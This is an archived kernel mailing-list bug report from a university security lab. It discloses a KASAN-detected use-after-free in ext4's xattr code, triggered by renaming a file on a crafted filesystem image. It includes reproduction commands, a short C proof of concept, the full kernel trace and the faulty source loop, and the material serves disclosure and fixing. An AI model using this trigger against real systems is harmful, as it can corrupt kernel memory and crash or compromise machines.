ext4: use-after-free detected by KASAN in ext4_xattr_set_entry when renaming a file in a crafted ext4 image

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



- Overview
use-after-free detected by KASAN in ext4_xattr_set_entry when renaming a file in a crafted ext4 image

- Reproduce (KASAN build of ext4-dev branch)
# mkdir mnt
# mount -t 233.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *foo_bar_baz;
  char *foo_baz;
  int err;
  err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);
  err = asprintf(&foo_baz, "%s/foo/baz", mpoint);
  rename(foo_bar_baz, foo_baz);
}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel Message
[  356.651148] EXT4-fs (loop0): mounted filesystem with ordered data mode. Opts: (null)
[  359.753782] ==================================================================
[  359.755524] BUG: KASAN: use-after-free in ext4_xattr_set_entry+0x4c2/0x1860
[  359.757012] Read of size 4 at addr ffff8801f3593aa4 by task a.out/1376

[  359.758741] CPU: 0 PID: 1376 Comm: a.out Not tainted 4.17.0-rc4+ #5
[  359.758744] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  359.758753] Call Trace:
[  359.758794]  dump_stack+0x7b/0xb5
[  359.758831]  print_address_description+0x70/0x290
[  359.758837]  kasan_report+0x291/0x390
[  359.758842]  ? ext4_xattr_set_entry+0x4c2/0x1860
[  359.758848]  __asan_load4+0x78/0x80
[  359.758853]  ext4_xattr_set_entry+0x4c2/0x1860
[  359.758863]  ? ext4_rename+0xcc6/0xd00
[  359.758867]  ? ext4_rename2+0xa6/0x100
[  359.758884]  ? vfs_rename+0xaa5/0xde0
[  359.758889]  ? do_renameat2+0x7d2/0x860
[  359.758893]  ? __x64_sys_rename+0x3b/0x50
[  359.758916]  ? do_syscall_64+0x78/0x170
[  359.758931]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  359.758939]  ? ext4_xattr_block_find.isra.22+0x2c0/0x2c0
[  359.758943]  ? kasan_check_write+0x14/0x20
[  359.758957]  ? __brelse+0x4f/0x60
[  359.758968]  ? do_get_write_access+0x5ac/0x6a0
[  359.758974]  ? apic_timer_interrupt+0xa/0x20
[  359.758982]  ? __memcpy+0x12/0x20
[  359.758986]  ext4_xattr_block_set+0x5d3/0x1820
[  359.758991]  ? __x64_sys_renameat+0x70/0x70
[  359.758998]  ? ext4_xattr_block_find.isra.22+0x2c0/0x2c0
[  359.759003]  ? ext4_xattr_inode_array_free+0x60/0x60
[  359.759013]  ? __find_get_block+0x106/0x400
[  359.759018]  ? _cond_resched+0x1a/0x50
[  359.759022]  ? _cond_resched+0x1a/0x50
[  359.759026]  ? __getblk_gfp+0x31/0x3f0
[  359.759031]  ? strlen+0x25/0x40
[  359.759035]  ? xattr_find_entry+0x8a/0x140
[  359.759041]  ? ext4_xattr_block_find.isra.22+0x19e/0x2c0
[  359.759046]  ext4_expand_extra_isize_ea+0x89d/0xcb0
[  359.759052]  ? ext4_xattr_set+0x200/0x200
[  359.759056]  ? __getblk_gfp+0x31/0x3f0
[  359.759061]  ? ext4_xattr_check_entries+0x116/0x150
[  359.759071]  ? kasan_check_write+0x14/0x20
[  359.759084]  __ext4_expand_extra_isize+0xd4/0x100
[  359.759090]  ext4_mark_inode_dirty+0x3a8/0x3d0
[  359.759095]  ? ext4_expand_extra_isize+0x2e0/0x2e0
[  359.759106]  ? __ext4_check_dir_entry+0xc4/0x200
[  359.759112]  ? kasan_check_write+0x14/0x20
[  359.759117]  ext4_delete_inline_entry+0x1fa/0x300
[  359.759122]  ? ext4_find_inline_entry+0x240/0x240
[  359.759127]  ? ext4_expand_extra_isize+0x2e0/0x2e0
[  359.759131]  ext4_delete_entry+0xcc/0x270
[  359.759135]  ? ext4_generic_delete_entry+0x1f0/0x1f0
[  359.759139]  ? strncmp+0x71/0xc0
[  359.759143]  ext4_rename+0xcc6/0xd00
[  359.759148]  ? __x64_sys_rename+0x3b/0x50
[  359.759152]  ? ext4_tmpfile+0x2d0/0x2d0
[  359.759155]  ? ext4_find_entry+0x17d/0x770
[  359.759161]  ? ext4_dx_find_entry+0x2c0/0x2c0
[  359.759166]  ? kasan_check_write+0x14/0x20
[  359.759190]  ? lockref_get+0xc2/0x140
[  359.759195]  ext4_rename2+0xa6/0x100
[  359.759200]  vfs_rename+0xaa5/0xde0
[  359.759209]  ? memcg_kmem_put_cache+0x55/0xa0
[  359.759216]  ? path_mountpoint+0x5b0/0x5b0
[  359.759219]  ? kasan_check_write+0x14/0x20
[  359.759240]  ? security_path_rename+0xcb/0x130
[  359.759245]  do_renameat2+0x7d2/0x860
[  359.759252]  ? user_path_create+0x40/0x40
[  359.759264]  ? __vma_link_rb+0x12a/0x160
[  359.759277]  ? userfaultfd_unmap_complete+0x9c/0x1d0
[  359.759283]  ? handle_mm_fault+0x24b/0x380
[  359.759298]  ? mm_fault_error+0x1f0/0x1f0
[  359.759303]  ? vm_brk+0x20/0x20
[  359.759309]  __x64_sys_rename+0x3b/0x50
[  359.759313]  do_syscall_64+0x78/0x170
[  359.759319]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  359.759335] RIP: 0033:0x7f17dba1a367
[  359.759338] RSP: 002b:00007fffbc1f6148 EFLAGS: 00000206 ORIG_RAX: 0000000000000052
[  359.759348] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f17dba1a367
[  359.759350] RDX: 00000000023230a0 RSI: 00000000023230a0 RDI: 0000000002323080
[  359.759353] RBP: 00007fffbc1f6180 R08: 0000000002323010 R09: 0000000000000000
[  359.759355] R10: 0000000000000640 R11: 0000000000000206 R12: 00000000004004e0
[  359.759358] R13: 00007fffbc1f6280 R14: 0000000000000000 R15: 0000000000000000

[  359.759705] Allocated by task 939:
[  359.760457]  save_stack+0x46/0xd0
[  359.760461]  kasan_kmalloc+0xad/0xe0
[  359.760466]  kmem_cache_alloc_trace+0x102/0x200
[  359.760482]  do_syslog+0x1f1/0x680
[  359.760494]  kmsg_read+0x52/0x70
[  359.760499]  proc_reg_read+0x92/0xd0
[  359.760504]  __vfs_read+0xe7/0x3e0
[  359.760508]  vfs_read+0xbf/0x1b0
[  359.760511]  ksys_read+0xb4/0x140
[  359.760514]  __x64_sys_read+0x43/0x50
[  359.760518]  do_syscall_64+0x78/0x170
[  359.760523]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[  359.760863] Freed by task 939:
[  359.761522]  save_stack+0x46/0xd0
[  359.761526]  __kasan_slab_free+0x13c/0x1a0
[  359.761530]  kasan_slab_free+0xe/0x10
[  359.761533]  kfree+0x8c/0x1c0
[  359.761536]  do_syslog+0x5e7/0x680
[  359.761540]  kmsg_read+0x52/0x70
[  359.761544]  proc_reg_read+0x92/0xd0
[  359.761547]  __vfs_read+0xe7/0x3e0
[  359.761550]  vfs_read+0xbf/0x1b0
[  359.761554]  ksys_read+0xb4/0x140
[  359.761557]  __x64_sys_read+0x43/0x50
[  359.761561]  do_syscall_64+0x78/0x170
[  359.761565]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[  359.761914] The buggy address belongs to the object at ffff8801f3593a80
                which belongs to the cache kmalloc-1024 of size 1024
[  359.764559] The buggy address is located 36 bytes inside of
                1024-byte region [ffff8801f3593a80, ffff8801f3593e80)
[  359.766971] The buggy address belongs to the page:
[  359.768001] page:ffffea0007cd6400 count:1 mapcount:0 mapping:0000000000000000 index:0x0 compound_mapcount: 0
[  359.770059] flags: 0x2ffff0000008100(slab|head)
[  359.771020] raw: 02ffff0000008100 0000000000000000 0000000000000000 00000001800e000e
[  359.772649] raw: ffffea0007b5be00 0000000200000002 ffff8801f6c02c40 0000000000000000
[  359.774258] page dumped because: kasan: bad access detected

[  359.775760] Memory state around the buggy address:
[  359.776775]  ffff8801f3593980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[  359.778270]  ffff8801f3593a00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  359.779764] >ffff8801f3593a80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  359.781277]                                ^
[  359.782181]  ffff8801f3593b00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  359.783683]  ffff8801f3593b80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  359.793072] ==================================================================
[  359.794584] Disabling lock debugging due to kernel taint
[  359.795898] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1970234923 err=-117
[  359.836553] EXT4-fs warning (device loop0): ext4_expand_extra_isize_ea:2791: Unable to expand inode 13. Delete some EAs or run e2fsck.

- Reason
https://elixir.bootlin.com/linux/v4.17-rc7/source/fs/ext4/xattr.c#L1597
  /* Compute min_offs and last. */
  last = s->first;
  for (; !IS_LAST_ENTRY(last); last = EXT4_XATTR_NEXT(last)) {
    if (!last->e_value_inum && last->e_value_size) {
      size_t offs = le16_to_cpu(last->e_value_offs);
      if (offs < min_offs)
        min_offs = offs;
    }
  }
In this loop, a dangling `last` is accessed based on KASAN report.

Multiple tries may be required to reproduce the bug. Based on the KASAN report and POC code, I report this bug separately, different from https://bugzilla.kernel.org/show_bug.cgi?id=199997 (ext4: use-after-free detected by KASAN in ext4_xattr_set_entry() when mounting and writing to a crafted ext4 image) I reported before.

Reported by Wen Xu (wen.xu@xxxxxxxxxx) from SSLab at Gatech.

Files:
233.img.zip: https://bugzilla.kernel.org/attachment.cgi?id=276405

Thanks,
Wen



[Index of Archives]     [Reiser Filesystem Development]     [Ceph FS]     [Kernel Newbies]     [Security]     [Netfilter]     [Bugtraq]     [Linux FS]     [Yosemite National Park]     [MIPS Linux]     [ARM Linux]     [Linux Security]     [Linux RAID]     [Samba]     [Device Mapper]     [Linux Media]

  Powered by Linux